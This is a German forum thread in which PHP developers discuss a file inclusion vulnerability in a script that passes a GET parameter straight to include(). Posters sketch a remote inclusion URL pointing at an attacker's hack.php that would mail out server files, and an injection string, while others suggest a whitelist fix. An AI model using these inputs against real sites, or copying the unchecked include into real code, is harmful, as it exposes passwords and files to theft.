Include Problem

Ist es bei include nicht so, dass nur bereits am Server liegende Dateien includiert werden können - selbst wenn allow_url_fopen aktiviert ist?

Ein "Angreifer" könnte dann doch auch nur Dinge tun, die er ja in seinen subsites erlauben muss - oder seh ich da was falsch?
 
Ich check mal die PHP-Doku, mal gucken was die zu include sagt.

Nachtrag:
Hatte jetzt erstmal keine Lust so viel zu lesen, darum hab ich einfach mal kurz was probiert.
Hab meine index.php so aufgerufen: index.php?subsite=http://www.tutorials.de/forum/showthread.php&p=1006192
Musste ja 'ne PHP von 'nem anderen Server sein, daher dacht ich mir "missbrauche" ich mal tutorials.de dafuer.
Folgende Fehlermeldung stimmt mich schon recht gluecklich:
main(): URL file-access is disabled in the server configuration
main(http://www.tutorials.de/forum/showthread.php): failed to open stream: no suitable wrapper could be found
main(): Failed opening 'http://www.tutorials.de/forum/showthread.php' for inclusion (include_path='.:/tmp')

Jetzt ist natuerlich die Frage wie's aussieht wenn ein anderer User auf dem gleichen Server versucht da was zu daengeln.
 
Zuletzt bearbeitet:
Ohoo, was gefunden hab - meine Aussage war nur halb richtig:

PHP Versionen kleiner 4.3.0 für Windows, erlauben den Zugriff auf Remote-Dateien mit dieser Funktion nicht, selbst wenn allow_url_fopen aktiviert ist


Allerdings würde mich dann trotzdem interessieren, inwieweit da jemand Schaden anrichten will.

Ich mein Zugriff auf deine Datenbank hat er dann trotzdem immer noch nicht.

Er könnte allerdings Datei-Operationen machen - und da is tatsächlich ein Problem:

Da das Skript auf deinem Webpack ausgeführt wird, könnte man mit Funktionen deren Namen ich jetzt nicht weiß, den Quelltext von deinen Dateien einlesen (und da es dein Webpack ist, würden die nicht geparsed) ==> Jemand kann sich deine Passwörter aus deinen Dateien auslesen.


Aber das kannst du ja wirklich umgehen indem du folgendes machst:

der Link: http://www.abc.de/index.php?page=wasauchimmer

PHP:
$page = $_GET['page];

switch($page)
{
    case wasauchimmer: include("wasauchimmer.php");
                                    break;
    default: include("index.php");
                break;
}
 
shutdown hat gesagt.:
Allerdings würde mich dann trotzdem interessieren, inwieweit da jemand Schaden anrichten will.

Er könnte allerdings Datei-Operationen machen - und da is tatsächlich ein Problem:

Und damit hast du auch das Datenbankpasswort, kannst beliebige Daten auf den Server laden, im Prinzip kannst du den Server übernehmen - zumindest mit den Rechten, die der Besitzer hätte.
 
Okay, ich seh das Problem ein. Wenn ich z.B. als $subsite );printf("hallo" uebergebe sollte daraus ja im Code include();printf("hallo"); werden, was dann halt hallo ausgibt. Kann es nur grad nicht testen weil irgendwie der Server nicht erreichbar ist.
Das Beispiel ist jetzt natuerlich sicherheitsmaessig nicht so kritisch, jedoch bedeutet das, dass auch andere Funktionen einfach so eingeschleust werden koennen, was natuerlich nicht fein ist.
Es ist fuer mich auf jeden Fall wichtig, dass ich auch an die Subsite noch Variablen uebergeben kann, ansonsten funktionieren die ganzen Scripts nicht mehr, da ich z.B. Formulare da drin hab oder eben halt mal edit oder delete uebergebe.
Ich hab soweit schon auf Sicherheit programmiert indem ich halt checke ob der jeweilige User wirklich die Rechte hat die Aktion auszufuehren. Ich hab User-Levels integriert, der admin-User hat userlevel 255, Standard-User 1. Dieser Wert steht nicht in der Session, sondern wird jedesmal aus der DB geholt. Wenn ein Standard-User nun im User-Admin-Interface (er sieht da nur sich selbst, kann seine Daten aendern oder seinen User loeschen) den Loeschen-Link kopiert und die User-ID durch eine andere ersetzt kommt ganz brav ein "Access denied!"
Jedoch ist die von Euch angesprochene Sicherheitsluecke im Script absolut nicht tragbar.
Ich werde mir mal intensiv Gedanken machen wie ich das vernuenftig absichern kann ohne die Funktion zu beeintraechtigen. Gegebenfalls werde ich auch Aenderungen an meinen anderen Scripts hinnehmen.
Da ich gern Firewalls stricke weiss ich dass man oft einen Mittelweg zwischen Komfort und Sicherheit finden muss.

Auf jeden Fall mal vielen Dank fuer das Aufzeigen der Luecke, ich bin weiterhin fuer jeden Vorschlag offen.
Wie gesagt, es ist wichtig, dass auch noch andere Variablen mit uebergeben werden koennen. Nicht nur das zu includende Script selbst.
 
Timbonet hat gesagt.:
Und damit hast du auch das Datenbankpasswort, kannst beliebige Daten auf den Server laden, im Prinzip kannst du den Server übernehmen - zumindest mit den Rechten, die der Besitzer hätte.
Datenbank- und FTP-Passwort sind unterschiedlich. Bei Passwort-Klau waere also nur die Datenbank betroffen.
Da die Webseite noch im Test-Stadium ist kann ich das momentan noch verschmerzen.
Ist aber grundsaetzlich nicht wuenschenswert.
 
reptiler hat gesagt.:
Okay, ich seh das Problem ein. Wenn ich z.B. als $subsite );printf("hallo" uebergebe sollte daraus ja im Code include();printf("hallo"); werden, was dann halt hallo ausgibt. Kann es nur grad nicht testen weil irgendwie der Server nicht erreichbar ist.

Hab grad mal localhost meinen Apache fertiggemacht und dort etwas rumgetestet.
Im Moment sieht es eigentlich recht sicher aus, da nicht das eintrifft was ich oben, bzw. hier nochmal im Zitat, beschrieben habe. Alles was ich als $subsite uebergebe wird in an include weitergeleitet. Im Beispiel oben sieht das dann ungefaehr so aus:
PHP:
include(');printf("hallo"');
Ich hab bisher noch keinen Weg gefunden irgendwelche Funktionen auszufuehren, hab aber eigentlich jede erdenkliche schreibweise durch.
 
Naja, das Datenbankpasswort steht irgendwo in einer PHP-Datei, das hat man dann gleich. Und FTP braucht man nicht, man kann ja über die Dateifunktionen von PHP - im Rahmen der vergebenen Rechte - alles beliebig ändern.
 
Das Problem das ich sehe, sind weniger die Funktionen.

Gefährlicher wäre folgendes:

ww'w.abc.de/index.php?subsite=http://www.meineseite.de/hack.php
(edit: dummes forum :-) )

da wird dann aus:

include($subsite);

==> include("http://www.meineseite.de/hack.php");


und in diesem Hack-Skript bau ich dann ne Mail-Funktion ein, die mir den Inhalt sämtlicher Dateien liefert, die auf deinem Server liegen.
 
Das hab ich schon probiert, aber allow_url_fopen ist wohl off. Also $subsite mit einer fremden Website zu fuettern gibt folgenden Fehler zurueck:
main(): URL file-access is disabled in the server configuration
Somit faellt das schonmal flach. Eine Moeglichkeit wie ich sie erst angefuehrt habe gibt es nicht? Oder kennt Ihr vielleicht eine?

@timbonet: Da ist was dran, da gibt's ja bei PHP 'nen ganzen Haufen Funktionen, hab ich in dem Moment nur nicht dran gedacht.
 
Zurück